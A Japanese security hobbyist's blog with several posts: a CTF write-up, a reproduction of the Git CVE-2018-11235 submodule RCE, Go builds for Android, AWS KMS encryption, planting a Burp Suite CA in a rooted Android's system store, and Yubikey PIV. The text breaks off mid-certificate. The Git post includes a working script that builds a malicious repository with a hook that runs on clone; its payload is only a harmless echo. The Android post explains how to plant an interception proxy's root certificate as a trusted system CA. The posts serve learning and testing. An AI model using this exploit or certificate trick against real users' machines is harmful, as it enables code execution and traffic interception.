試運転ブログ

コーラは一日一本まで

CyberRebeatCTFに参加した

2018/9/8 ~ 9/9 で開催されていたCyberRebetCTFにソロで参加していて完走できました。

ennach.sakura.ne.jp

結果は全問とけたので1/147位でした。他にも10数チーム全完していて、解けた順番的には結構後ろの方だった気がします。

よくわからないチーム名で登録していましたが、自分でもなんでこのチーム名にしたのかはわかりません。疲れてたんだと思います。

f:id:otameshi61:20180909144804p:plain

f:id:otameshi61:20180909144953p:plain ※ 問題の得点が変動するのでタイミング的に写真の得点がずれてますね

個人的に特に楽しめた問題を二つ紹介します。

Last 5 boxes

The FLAG is hiding at the last 5 boxes.

https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

Steganoのジャンルでmp4ファイルが渡される問題。exiftoolとかで情報をみても特に目ぼしい情報はありませんでした。問題文のboxっていうのがmp4の構造を示す言葉かなと思い「mp4 box」でぐぐると以下のブログがヒット。

qiita.com

MP4Box -std -diso  a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4

で以下がわかるので、抜き出して、繋げたらpngになった。

<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" ></UUIDBox>
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" ></UUIDBox>
from binascii import unhexlify

def read_until(f, delim='\n'):
    data = b''
    while not data.endswith(delim):
        data += f.read(1)
    return data

uuids = [
    ('18E66A6BFBDF0D4180DF83B8E1CE2B59', 1024),
    ('07B14494B8E2AF4D9BD6652B52052AC6', 1024),
    ('14C6D472C69F4846ACD237492ED79CB9', 1024),
    ('792E16CCB4887445AC310002334FD627', 1024),
    ('C386DEC1144E214D9BBE788C4474F39F', 1612)
]

for uuid, size in uuids:
    # split -b 4m  a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4 video.mp4-
    with open('video.mp4-af', 'rb') as fp:
        _ = read_until(fp, unhexlify(uuid))
        s = fp.read(size - 24)
        with open(uuid, 'wb') as f:
            f.write(s)
cat 18E66A6BFBDF0D4180DF83B8E1CE2B59 07B14494B8E2AF4D9BD6652B52052AC6 14C6D472C69F4846ACD237492ED79CB9 792E16CCB4887445AC310002334FD627 C386DEC1144E214D9BBE788C4474F39F  > flag.png

以下の画像ができる。

f:id:otameshi61:20180909151641p:plain

MP4の構造を知れたので勉強になった。

Opening Movie

http://blazor.cyberrebeat.adctf.online

以下のタグで読み込まれるWebAssemblyを解析する問題。

 <script src="_framework/blazor.js" main="MoviePlayer.dll" entrypoint="MoviePlayer.Program::Main" references="Microsoft.AspNetCore.Blazor.Browser.dll,Microsoft.AspNetCore.Blazor.dll,Microsoft.Extensions.DependencyInjection.Abstractions.dll,Microsoft.Extensions.DependencyInjection.dll,mscorlib.dll,netstandard.dll,System.Core.dll,System.dll,System.Net.Http.dll" linker-enabled="true"></script>

MoviePlayer.dllを落としてきて、ilspyでデコンパイルして調べるとフラグの置いてあるURLがわかる問題でした。WebAssemblyは触ったことなかったので良い経験になりました。

普段はMacを使っていますが、以下の記事を参考にしたら、簡単にilspyを用意できたので良かった(なんか昔はもう少し準備が面倒だった気がする)。

qiita.com

感想

いろいろな問題があって楽しめました。公式サイトのイラストがめっちゃ良かったのと、Signatureの問題文の†真・聖天使猫姫†さんがめっちゃよかったと思います。

Gitの脆弱性(CVE-2018-11235)を雑に調べた

先日、Gitの脆弱性(CVE-2018-11235)が発表されました。

NVDのDescriptionには以下のように説明されています。

NVD - CVE-2018-11235

In Git before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1, remote code execution can occur. With a crafted .gitmodules file, a malicious project can execute an arbitrary script on a machine that runs "git clone --recurse-submodules" because submodule "names" are obtained from this file, and then appended to $GIT_DIR/modules, leading to directory traversal with "../" in a name. Finally, post-checkout hooks from a submodule are executed, bypassing the intended design in which hooks are not obtained from a remote server.

細工された.gitmoduleのあるプロジェクトをgit clone --recurse-submodulesすると、攻撃者が用意した任意のスクリプトの実行につながるとのこと。サブモジュールの名前は、.gitmoduleから取得され、名前に../使うことでディレクトリトラバーサルをすることができ、攻撃者の用意したpost-checkoutのhookが実行されてしまうようです。

この脆弱性のGitの修正コミットは以下にあります。

github.com

Credit for finding this vulnerability and the proof of concept from which the test script was adapted goes to Etienne Stalmans.

コメントにもありますが、修正コミットのテストコードにPoCが含まれています。

テストコードのPoCを参考に自分の環境で脆弱性の再現を行いました。

git/t7415-submodule-names.sh at 0383bbb9015898cbc79abd7b64316484d7713b44 · git/git · GitHub

環境

実行環境とGitのバージョンとか。

$ uname -a
Darwin MacMini 17.5.0 Darwin Kernel Version 17.5.0: Fri Apr 13 19:32:32 PDT 2018; root:xnu-4570.51.2~1/RELEASE_X86_64 x86_64
$ sw_vers -productVersion
10.13.4
$ git --version
git version 2.14.3 (Apple Git-98)

脆弱性の有無の確認方法

submodule名に../が含まれる際に弾かれるかどうかで確認可能です。

脆弱性あり

$ git --version
git version 2.14.3 (Apple Git-98)
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
Cloning into '/Users/saso/tmp/bbb/fuga/test/fuga/evil'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.

脆弱性対応済み

$ git --version
git version 2.17.1
$ git submodule add --name ../../modules/evil https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git evil
'../../modules/evil' is not a valid submodule name

もっと手軽に、これでエラーが出るかどうかでも確かめることができるそうです(エラーが出れば対策済み)。

git init test && \
  cd test && \
  git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules

Edward Thomson: Upgrading git for the May 2018 Security Release

悪意あるレポジトリの作成

悪意あるレポジトリは以下のようなshell scriptで作成可能です。

CVE-2018-11235.sh

#!/bin/sh

# 悪意あるsubmoduleを含んだレポジトリ用のディレクトリを作成する
mkdir evil_repo
cd evil_repo
git init

# ここで追加するのは別になんでも良い
git submodule add https://github.com/otms61/innocent.git evil

# 正常な.git/modules/evilから攻撃コードを置く用の./modules/evilを用意する
mkdir modules
cp -r .git/modules/evil modules

# hookにセットするスクリプトを用意する
echo '#!/bin/sh' > modules/evil/hooks/post-checkout
echo 'echo >&2 "RUNNING POST CHECKOUT"' >> modules/evil/hooks/post-checkout
chmod +x modules/evil/hooks/post-checkout

git add modules
git commit -am evil

# もとのPoCで設定されてたがよくわかっていない。。なくてもとりあえず動く。
git config -f .gitmodules submodule.evil.update checkout

# submoduleの名前をevilから ../../modules/evilに変更する
git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

# .git/moduleの下に何かないとcheckoutに失敗するので、普通のやつも用意してあげる
git submodule add https://github.com/otms61/innocent.git another-module
git add another-module
git commit -am another

git add .gitmodules
git commit -am .gitmodule

簡単にですがsubmoduleの設定とhookのスクリプトについて説明を補足します。

submodule名を../../modules/evilにする

雑にコメントを書きましたが、

git config -f .gitmodules --rename-section submodule.evil submodule.../../modules/evil

で、submodule 名をevilから../../modules/evilに変更しています。

git config [<file-option>] --rename-section old_name new_name

. が3連続で、ちょっとわかりにくいですが、nameの形式がsubmodule.<module名>のせいです。

.gitmoduleはこのようになっています。

$ cat evil_repo/.gitmodules
[submodule "../../modules/evil"]
    path = evil
    url = https://github.com/otms61/innocent.git
    update = checkout
[submodule "another-module"]
    path = another-module
    url = https://github.com/otms61/innocent.git

hookのスクリプトを用意する

hookのスクリプトを探すロジックを正確に確認はできていないのですが、以下のような感じだと予想しています。 hookスクリプトを探す場合、

evil_repo/.git/modules/${submodule_name}/hooks/post-checkout

に置かれたスクリプトを探してると思われますが、このsubmodule_nameを../../modules/evilとすることで、

evil_repo/.git/modules/../../modules/evil/hooks/post-checkout
# つまり以下のパス
evil_repo/modules/evil/hooks/post-checkout 

と、hookのスクリプトを.git配下から、レポジトリ上に置かれたスクリプトに向けることができます。この向き先に攻撃者がスクリプトを用意しておくことで、hookからスクリプトを実行することができます。

また、post-checkoutの内容はこのようになっています。

$ cat evil_repo/modules/evil/hooks/post-checkout
#!/bin/sh
echo >&2 "RUNNING POST CHECKOUT"

動作確認

./CVE-2018-11235.sh でローカルにevil_repoというレポジトリを作成し、これを--recurse-submodulesでcloneします。

$ ./CVE-2018-11235.sh
・・・
$ git clone --recurse-submodules evil_repo test
Cloning into 'test'...
done.
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
Submodule '../../modules/evil' (https://github.com/otms61/innocent.git) registered for path 'evil'
Cloning into '/private/tmp/test/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'
RUNNING POST CHECKOUT
Submodule path 'evil': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

終わりの方で、 RUNNING POST CHECKOUT と出力されていることがわかりますね!

GitHubは対策されてた。すごい!

GitHubに、上記で作成したコードをあげようとしたら弾かれてしまいました。GitHubすごい!

$ git remote add origin git@github.com:otms61/CVE-2018-11235.git
$ git push origin master
Counting objects: 47, done.
Delta compression using up to 4 threads.
Compressing objects: 100% (34/34), done.
Writing objects: 100% (47/47), 10.53 KiB | 1.50 MiB/s, done.
Total 47 (delta 1), reused 0 (delta 0)
fatal: The remote end hung up unexpectedly
fatal: The remote end hung up unexpectedly

他のところはあげられたので、試したいという方は以下でも試すことはできます。

otameshi61 / CVE-2018-11235 / source / — Bitbucket

echoするスクリプトを置いてるだけですが、実行する場合は自己責任でお願いします。

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1 | grep POST
RUNNING POST CHECKOUT

対策されたバージョンのgitだとこんな感じになります。スクリプトも動いてないことがわかります。

$ git --version
git version 2.17.1

$ git clone --recurse-submodules https://otameshi61@bitbucket.org/otameshi61/cve-2018-11235.git 2>&1
Cloning into 'cve-2018-11235'...
remote: Counting objects: 46, done.
remote: Compressing objects: 100% (33/33), done.
remote: Total 46 (delta 1), reused 0 (delta 0)
Unpacking objects: 100% (46/46), done.
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule 'another-module' (https://github.com/otms61/innocent.git) registered for path 'another-module'
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Cloning into '/Users/saso/tmp/bbb/cve-2018-11235/another-module'...
remote: Counting objects: 3, done.
remote: Total 3 (delta 0), reused 3 (delta 0), pack-reused 0
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
warning: ignoring suspicious submodule name: ../../modules/evil
Submodule path 'another-module': checked out '8d0ef81b89520c725065da10b4ee76568425daa5'

感想

発見された方が以下のツイートをされていて、来週公開予定とのこと。楽しみですね。

kubernetesのGitRepo volume optionオプションで、node上のrootが取れるらしい。 www.youtube.com

今回の脆弱性は、redditが比較的盛り上がってるなぁとながめていました。 www.reddit.com

ちょっと前にあったサブモジュールの脆弱性みたいな感じでかなぁと思いつつ、ディレクトリトラバーサルからどうやって攻撃につなげるんだ?という疑問から調べていました。 サブモジュールの管理情報を.gitから外側に向けるのは鮮やかだなと感じました。

おしまい。

GoでAndroidのコマンドラインツールをビルドする方法

AndroidのRoot化端末などでコマンドラインツールを作りたい時にGoを使いたくて少しはまったので、その時のメモです。

ビルドするマシンは、macOS 10.13.4で、動作確認するAndroidは、HUAWE MediaPad M5のAndroid 8.0.0です。

package main

import "fmt"

func main() {
  fmt.Printf("Hello World\n")
}

ビルドするときのオプションで、armを指定します。クロスコンパイル時にはCGOデフォルトで切られているそうですが、オプションでも指定しておきます。

cgo - The Go Programming Language

$ GOOS=linux GOARCH=arm GOARM=7 CGO_ENABLED=0 go build
$ ls
hello   main.go
$ file hello
hello: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, with debug_info, not stripped
$ adb push hello /data/local/tmp/
[100%] /data/local/tmp/hello
$ adb shell /data/local/tmp/hello
Hello World
$

AWS KMSをさわってみた

AESなどの対称鍵暗号でデータを暗号化すると、データを読み取ることができる対象を鍵を知ってるものだけにすることができる。 そのため、何かのデータを暗号化したとき、暗号化に使用した鍵がどのように管理されているかはとても重要となります。

鍵管理は、ファイルのパーミッションで読めるuserを制限したりすることが多いですが、Amazonの提供するAWS KMSというサービスを用いて鍵管理(データキーを生成、暗号化、復号)を行ってみます。

主に以下のページを参考にしました。サンプルコードでは、エンベロープ暗号化と呼ばれているものを試しています。

docs.aws.amazon.com

AWSAPI呼び出しはpythonのbotoというライブラリを使った。

github.com

KMSでキーの作成と、アカウントに権限付与などは以下のリンクを参考にした。

dev.classmethod.jp

キー生成と暗号化

AES周りは今回はあまり重要じゃないので、ブロック長ぴったし(16バイト)の文字列を1ブロック暗号化する。鍵にはAWS KMSで生成した値を使用する。

#!/usr/bin/env python
import base64
from boto import kms
from Crypto.Cipher import AES

conn = kms.connect_to_region('us-east-1')
arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222'

data_key = conn.generate_data_key(arn, key_spec='AES_128')
print(data_key)

# 16 bytes
plaintext = b'Hello, World!!!!'

encrypter = AES.new(data_key['Plaintext'])
encrypted_data = base64.b64encode(encrypter.encrypt(plaintext))

print(encrypted_data)

※ botoは、 ~/.boto からAPIの認証情報を読み込んでる。

出力

{'CiphertextBlob': b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0", 'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'}

b'2kvkQDMonVYyv3TAwsMbiw=='

data_keyは整形すると、

{
    "CiphertextBlob": "\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0",
    "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222",
    "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07"
}

AES の鍵長 128bitで鍵を生成すると、CiphertextBlogとKeyIdとPlainTextが返ってきます。

暗号化の鍵にはPlaintextの値を使用します。鍵長が128bitのオプションで生成しているので16バイト(=128bit)なことも確認できます。Plaintextは、暗号化に使用後に保持しません(むしろ保持したらKMS使う意味がない)。 CiphertextBlobは、PlaintextをAWS KMSのマスターキー(KeyIdに紐づく鍵)で暗号化した値となっていて、この値を保持しておきます。暗号文を復号するときに鍵は、CiphertextBlobをマスターキーで復号して鍵を取り出します。

KMSの説明されているサイトで使用されている画像との対応関係は、

f:id:otameshi61:20180108191930p:plain

https://docs.aws.amazon.com/ja_jp/kms/latest/developerguide/concepts.html

  • Plaintext data: Hello, World!!!!
  • Encrypted data: 2kvkQDMonVYyv3TAwsMbiw==
  • Data Key: Plaintext
  • Encrypted data key: CiphertextBlob

となっています。

CiphertextBlobから鍵を取り出すには、このKeyIdにアクセスを許可されているAWSAPIキーでしか読み出せません。APIキーの作成などは最初の方に書いたブログを参照してください。キーの作成や無効化などはAWSコンソールでぽちぽちしてたら行えます。

マスターキーに対しても、無効化させておくことなども可能です。有事の際や、普段は絶対に使わない情報などは暗号化後に鍵を無効化しておくなどの使い方があるかと思います。

AWSでCloudTrailを有効にしていると、APIの呼び出しで以下のようなログを取ることができます(適当に一部を切り出しています)。記録されるAPI一覧をぱっとみましたが、だいたい重要なもの(たぶん全部...?)はカバーされているようにみえました。 なので、鍵の使用形跡などをログから読み取ることができます。

{
  "eventVersion": "1.05",
  "userIdentity": {
    "type": "IAMUser",
    "userName": "saso"
  },
  "eventTime": "2018-01-08T09:32:33Z",
  "eventSource": "kms.amazonaws.com",
  "eventName": "GenerateDataKey",
  "awsRegion": "us-east-1",
  "userAgent": "Boto/2.48.0 Python/3.6.1 Darwin/16.7.0",
  "requestParameters": {
    "keySpec": "AES_128",
  },
  "responseElements": null,
  "readOnly": true,
  "eventType": "AwsApiCall",
  "recipientAccountId": "071542545104"
}

AWS KMSを使って鍵を管理する強みは、鍵自体の管理だけでなく、他のAWSの機能と同等にAPIキーの管理、ログ収集もできるあたりかなと思います。

復号

復号できることも確認します。

#!/usr/bin/env python
import base64
from boto import kms
from Crypto.Cipher import AES

conn = kms.connect_to_region('us-east-1')
arn = 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222'

ciphertext_blob = b"\x01\x02\x03\x00x6#\xcde\xbb'2d\x9d\xb1?\xf3<\x1a\xddI\xf9Zo\xb65\xd9\xa8\x1b\xd97\x03Q\x87\xf4\xd7\xd1\x01\x88\x93P\xb6\xaf\xd1YYuP\x13]\n\x17F \x00\x00\x00n0l\x06\t*\x86H\x86\xf7\r\x01\x07\x06\xa0_0]\x02\x01\x000X\x06\t*\x86H\x86\xf7\r\x01\x07\x010\x1e\x06\t`\x86H\x01e\x03\x04\x01.0\x11\x04\x0c\xb1y\xbbj\xb4i;}\xd3dw\xf9\x02\x01\x10\x80+<\x1e!o\x17\x12\x84\xfdh\xfe\x89\x05w\xc2\xa5\xado\x0c\x9aF9D\x8a\xeb\x1d\x19\xe5\xaf\xeeP\xb5\xb2\xd5H\xef4\x8f\xcd\x10\xaf\xf2\xf1\xe0"

data_key = conn.decrypt(ciphertext_blob)
print(data_key)

# 16 bytes
encrypted = base64.b64decode(b'2kvkQDMonVYyv3TAwsMbiw==')

decrypter = AES.new(data_key['Plaintext'])
decrypted = decrypter.decrypt(encrypted)

print(decrypted)

出力

{'KeyId': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222', 'Plaintext': b'\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07'}
b'Hello, World!!!!'

data_keyは以下の値になっている。

{
    "KeyId": "arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222",
    "Plaintext": "\xc3\x06\xe9\x1f\xe1\xb7d\xd6sn\x97\x18>yR\x07"
}

また、このKeyIdをdisableにすると以下のようなエラーが返ってくる。

boto.kms.exceptions.DisabledException: DisabledException: 400 Bad Request
{'__type': 'DisabledException', 'message': 'arn:aws:kms:us-east-1:012345678910:key/00000000-aaaa-1111-bbbb-222222222222 is disabled.'}

まとめ

AWS KMSを使ってエンベロープ暗号化と呼ばれている暗号化・復号を試してみた。鍵を管理するぞ!、という気持ちになったときに直感的に必要な機能が用意されている印象だった。 鍵へのアクセスが、ちゃんとログとして出力されるのは、個人的には一番良いなと感じた。

参考リンク

他にも以下のようなリンクを参考にしました。

docs.aws.amazon.com

Envelope Encryption using AWS KMS, Python Boto, and PyCrypto. · GitHub

AndroidのプレインストールされたCAにCAを追加する

Android 7以降からCAの扱いが代わり、デフォルトではユーザが追加したカスタムのCAはアプリ毎に設定を書かないと信頼されなった。 システムにプレインストールされたCAは制限することも可能だが、基本的には信頼されている。 以下は、Root化された端末にプレインストールされたCAとして、カスタムのCAを追加する手順メモです(プレとは?)。

android-developers.googleblog.com

自己責任&悪用厳禁でお願いします。

環境

・検証環境

OS: LineageOS 14.1
Android version: 7.1.2
Device model: Nexus7

追加するのはProxyツールのBurp Suiteの証明書。

❯ openssl x509 -inform DER -in cacert.der -text -noout 
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1402072607 (0x5391ee1f)
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Validity
            Not Before: Jun  6 16:36:47 2014 GMT
            Not After : Jun  6 16:36:47 2037 GMT
        Subject: C=PortSwigger, ST=PortSwigger, L=PortSwigger, O=PortSwigger, OU=PortSwigger CA, CN=PortSwigger CA
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:a2:43:8d:b6:91:10:bc:f9:ea:d9:d3:0c:39:d5:
                    34:11:dd:ed:d6:0e:76:41:57:85:b0:0d:c6:26:60:
                    2b:1d:a3:2a:d6:b1:f6:58:fe:3d:9a:70:91:fd:4e:
                    99:61:84:14:46:3f:22:f4:4e:8a:01:c2:3d:36:1a:
                    50:2b:17:84:0d:1d:53:8f:ff:ed:15:86:77:4d:6c:
                    80:c2:3c:12:46:5f:18:08:f9:53:f5:ff:f6:55:2b:
                    09:96:bd:a3:e9:11:d5:0f:fd:11:15:37:28:17:d8:
                    fa:6a:bb:cc:50:65:13:fa:15:99:10:77:06:12:02:
                    01:a4:ea:9c:3c:86:e2:00:6c:71:c6:a9:6c:88:17:
                    5e:2e:f9:29:2c:97:94:4b:94:7c:23:94:78:bf:23:
                    18:18:a3:29:56:9f:5a:90:e1:a3:8f:2d:48:e9:fb:
                    11:ac:f9:80:ce:cf:80:a4:37:89:1a:1f:4c:96:fa:
                    77:d7:fa:da:69:f4:ac:f6:01:16:ea:29:25:4f:50:
                    16:cc:fe:10:f2:70:de:77:f2:e7:96:6c:00:3e:6e:
                    37:b9:59:d8:8c:cc:62:da:74:10:b6:6e:a1:df:c5:
                    d6:3d:85:9d:6b:66:4c:d9:db:4b:c2:87:80:57:c2:
                    1f:80:44:89:04:8a:61:87:c6:69:1f:00:e6:37:0f:
                    7b:d1
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: critical
                CA:TRUE, pathlen:0
            X509v3 Subject Key Identifier:
                34:98:2B:45:74:9A:D6:56:55:64:CE:DA:62:FD:45:0C:4C:3A:D3:57
    Signature Algorithm: sha256WithRSAEncryption
        9e:2a:ad:2b:26:cf:80:ec:b5:1d:c5:95:05:9e:81:3c:69:4e:
        3f:45:f8:ed:32:ce:ae:a3:b6:a3:33:5b:30:49:bd:87:07:32:
        be:e5:5a:12:0d:9b:31:38:95:3d:6a:33:cc:04:f7:eb:92:70:
        76:ea:e7:f4:5c:8e:2d:b6:d1:28:15:0d:27:00:69:fe:3c:e9:
        76:26:e6:b1:f8:14:94:51:80:1e:2a:a1:ab:fa:9b:e1:f3:b6:
        c3:38:0b:43:82:3f:31:9b:fa:50:a5:e2:26:4b:6b:2f:6a:4c:
        9f:c6:4b:07:06:fb:ed:65:6e:78:35:77:17:28:35:00:73:77:
        7f:f2:c8:1e:3b:f6:39:00:c2:bd:f3:38:c8:e3:20:8e:ce:ab:
        3c:d6:ce:d6:ea:4e:01:af:32:42:62:e2:e2:a6:3b:3d:0e:7d:
        93:bb:ee:ab:02:f6:09:54:d7:aa:06:69:87:77:c2:0b:5c:94:
        bf:56:83:e4:09:2f:af:aa:92:3c:42:6b:39:3f:a9:97:55:c1:
        08:37:b3:05:d9:70:de:fa:86:fc:b3:0c:89:31:49:20:1b:83:
        e2:8f:cc:e9:9d:d4:76:40:63:9f:08:de:a9:d8:27:1c:cb:59:
        de:ec:84:a0:fa:e9:e5:3f:07:c6:a2:ab:96:a0:34:dc:25:e6:
        25:19:85:01

カスタムCAの用意

subject_hashの値をとる。

❯ openssl version
OpenSSL 0.9.8zh 14 Jan 2016
❯ openssl x509 -noout -subject_hash -in cacert.der -inform DER
9a5ba575

OpenSSLのバージョンが1.0.0以降の場合は、 -subject_hash ではなく、 -subject_hash_old を使うらしい。

PEMフォーマットに変換し、ファイル名を(subject_hashの値 + .0 )で保存する。

❯ openssl x509 -inform DER -in cacert.der -outform PEM > 9a5ba575.0

AndroidにカスタムCAを追加する

AndroidのプレインストールされたCAは、 /system/etc/security/cacerts に置かれている。ただここに置けば良い。

ただし、最初は /system はread onlyでマウントされているので注意する。

❯ adb push ./9a5ba575.0 /data/local/tmp
[100%] /data/local/tmp/9a5ba575.0

❯ adb shell
flo:/ $ su
flo:/ # mount -o rw,remount /system
flo:/ #mv /data/local/tmp/9a5ba575.0 /system/etc/security/cacerts/

設定 → セキュリティ → 信頼できる認証情報 から確認できる。 再起動した方が良いという情報もあったが、手元の環境では再起動しなくても追加され使用できた。

フィアル名がsubject_hashと異なる値でもUI上には表示されるが参照されないようだった。

まとめ

Burpのルート証明書Androidのプレインストールされているフォーマットやファイル名を合わせてインストールした。

開発者がこのようなCAを拒否したい場合は、ネットワーク セキュリティ構成機能を使いプレインストールされたCAに対しても制限がかけることができる。 developer.android.com

YubikeyのPIVを使ってsshしてみる

YubikeyのPIVが気になったのでsshでの使い方を試してみたメモ。 PIV自体については何もわからない。

Yubikeyとはこんな感じのもの。

f:id:otameshi61:20161230002407j:plain

Yubikey PIV Manager をここから落とす。

https://developers.yubico.com/yubikey-piv-manager/Releases/

webサイトでは、以下のコマンドラインツールを使って説明される。

github.com

ただし、macOS上では(たぶん他のOSでも)、ビルドが非常に面倒(./configureが成功してからが勝負)で、ビルドできたとしてもwebサイト通り使っても動作しないため、今回は使わない。 とはいえ、コマンドラインからしか指定できないオプションもあるため、なんとかはしたい。

現時点でのPIVに対する認識は、PKCS#11 で定義されたインターフェースを通じてデバイス内の秘密鍵(今回はYubikey内の秘密鍵)へアクセスし、認証を行うやつ、くらいです。

ここら辺を読むとPIVのプロになれるっぽい。

csrc.nist.gov

秘密鍵を生成する

PIV Manager → Certificates を選ぶ。

f:id:otameshi61:20170521132803p:plain

Authentication → Generate new key…

f:id:otameshi61:20170521132934p:plain

設定してOKをする

f:id:otameshi61:20170521133322p:plain

PIN(6〜8桁の文字)を入力する。

f:id:otameshi61:20170521133237p:plain

これでYubikeyの設定完了。

f:id:otameshi61:20170521133815p:plain

Export certificate… と Delete certifiacte… が選択できるようになる。

Exportした証明書をみてみるとこんな感じ。

❯ openssl x509 -in yubikey_piv.pem  -text -noout
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            cd:6f:bb:37:07:b4:d0:7f
        Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=saso
        Validity
            Not Before: May 21 04:36:59 2017 GMT
            Not After : May 21 04:36:59 2018 GMT
        Subject: CN=saso
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (2048 bit)
                Modulus (2048 bit):
                    00:95:6c:78:ac:c5:56:73:bb:73:9b:c8:fa:04:2f:
                    32:ad:95:1a:96:ae:4e:41:5a:8d:09:6a:c9:d9:0e:
                    fb:2f:37:fc:9e:81:ac:91:59:9d:59:52:92:d4:d9:
                    d2:38:96:a9:3d:ed:88:ad:ee:a3:fd:a4:84:de:71:
                    7f:ee:65:50:75:32:72:aa:75:c2:ca:95:2c:9e:a5:
                    ca:4c:cd:0b:3b:0b:d1:f9:58:00:5d:aa:ce:ec:30:
                    4b:42:57:f0:ec:92:34:9b:67:96:f5:8d:79:13:8b:
                    c9:bf:2e:a5:8c:99:58:34:43:15:8a:3b:76:88:45:
                    b0:8f:da:52:bc:8c:73:fb:1c:cd:05:47:34:6a:bb:
                    47:09:e9:8a:a4:cf:bb:58:ae:a7:60:3b:1c:cc:93:
                    98:fd:b3:9c:67:ee:44:0d:ce:dc:6e:c4:31:fe:c7:
                    c7:98:dc:9b:e2:e0:b5:88:da:2e:e5:20:3f:73:c5:
                    2d:b4:7b:86:71:d1:81:8b:9e:83:04:46:ad:84:83:
                    5e:41:53:75:ae:29:b2:b7:5a:33:22:0c:bf:fa:8d:
                    a2:ae:52:05:ae:e2:55:7c:4b:ee:41:38:e8:48:19:
